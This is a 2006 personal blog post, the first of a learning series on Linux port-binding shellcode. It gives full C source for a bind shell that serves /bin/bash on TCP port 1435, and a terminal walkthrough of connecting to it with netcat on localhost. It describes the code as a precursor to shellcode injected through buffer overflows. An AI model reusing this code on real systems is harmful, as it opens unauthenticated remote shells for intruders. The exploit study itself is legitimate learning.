in the name of zero

February 21, 2006

portbinding shellcode

Filed under: hermetic studies

well, not really but i’m getting close. this is part one of a many part series. initially, so damn clueless about it. and aside from the fact that in linux i have to use it’s own interface for socket system calls (socketcall because there are no systemcalls for socket(), accept() and friends) instead of calling socket functions directly, i think that making a portbinding shellcode was a bit more complex than any of my previous attempts at shellcode making. at least at first glance i thought it was. zillion of safemode.org in his article, presented a c code that was tested in freebsd and it really clarified the whole thing to me. i got his algorithm from looking at his source and together with some man pages, i decided to make one too in my box.

  #include <sys/types.h>
  #include <sys/socket.h>
  #include <netinet/in.h>
  #include <netinet/ip.h>
  #include <stdio.h>
  #include <errno.h>
	
  #define SHELLPORT 1435
	
  struct sockaddr_in shelladdr;
	
  void test_errno(int ret);
	
  int main(int argc, char **argv)
  {
          int err;
          int sockfd;     /* socket file descriptor */
          int shellfd;    /* shell file descriptor */
	
          char **shargv;
          shargv[0] ="/bin/bash";
	
  /*      if (fork() == 0){*/
                  shelladdr.sin_family = AF_INET;
                  shelladdr.sin_port = htons(SHELLPORT);
                  shelladdr.sin_addr.s_addr = INADDR_ANY;
	
                  sockfd = socket(PF_INET, SOCK_STREAM, 0);
                  test_errno(shellfd);
	
                  err = bind(sockfd, (struct sockaddr *)&shelladdr, sizeof(struct sockaddr_in));
                  test_errno(err);
	
                  err = listen(sockfd, 1);
                  test_errno(err);
	
                  shellfd = accept(sockfd, NULL, NULL);
                  test_errno(shellfd);
	
                  dup2(shellfd, 0);
                  dup2(shellfd, 1);
                  dup2(shellfd, 2);
	
                  execve("/bin/bash", shargv, NULL);
  /*      }*/
          return 0;
  }
	
 void test_errno(int ret)
 {
          if  (ret == -1) {
                  fprintf(stderr, "%s\n", strerror(errno));
                  exit (errno);
          }
 }

[ walkthrough ]
in a nutshell, i basically have to setup a tcp socket() that bind()s itself to a defined port (1025+), listen()s and accept()s for a connection. when a connection has been made, duplicate the communication file descriptor created as standard input (stdin), standard output (stdout) and standard error (stderr) file descriptors, all defined in /usr/include/unistd.h and then just call execve() normally.

you might have noticed the commented fork() statement above. well, at first i didn’t actually care to use it. but after testing the program i understood it’s purpose. as how i understood it, the program would eventually be translated to assembly shellcode and injected to a some other program who’s buffer has been overflowed. the progr am must fork() a new process, otherwise the calling program (the host program where this will be injected) will stay there waiting because of accept(). in some cases, this is desirable, but for most, i suppose it isn’t. anyway, for my activity, i commented it out. because it makes studying easier.

for you visual people out there, here’s how it went.

on my first terminal, i compiled the source above and ran the program.

steph@heaven ~/git/null/asm/shellcoding/portbind $ gcc -o portbind_c portbind_c.c
steph@heaven ~/git/null/asm/shellcoding/portbind $ ./portbind_c
 -- notice that the program listens()s here now so no prompt -- 

my second terminal, i used just for verification.

steph@heaven ~ $ netstat -l | grep -i tcp
 tcp        0      0 *:1435                  *:*                     LISTEN 

hey! it’s there! then i initiated a connection using netcat.

steph@heaven ~ $ nc localhost 1435
 whoami
 steph
 pwd
 /home/steph/git/null/asm/shellcoding/portbind
 ls
 portbind_c
 portbind_c.c 

the bold strings are the commands i issued. at first i thought that it didnt work because i was expecting a prompt. i don’t know why the prompt isn’t shown. this sucks :( i’ve also tried manually setting up PS1 but the prompt is still missing. the commands are in bold.

steph@heaven ~ $ nc localhost 1435
 export PS1=shell@remote
 set | grep -i PS1
 PS1=shell@remote
 
other environment variables seemed to work, like setting $TERM so i can use “clear”. anyway, the prompt is not that important. i’m just happy i got a shell . now for the assembly version. i’ll need steph’s power on this one.

p.s.

incase you’re wondering why i chose port 1435, it stands for “i love you steph“. symbolic isn’t it?

until next post.

Comments »

The URI to TrackBack this entry is: http://gnurbs.blogsome.com/2006/02/21/portbinding-shellcode/trackback/

No comments yet.

RSS feed for comments on this post.

Leave a comment

Line and paragraph breaks automatic, e-mail address never displayed, HTML allowed: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <code> <em> <i> <strike> <strong>


Get free blog up and running in minutes with Blogsome | Theme designs available here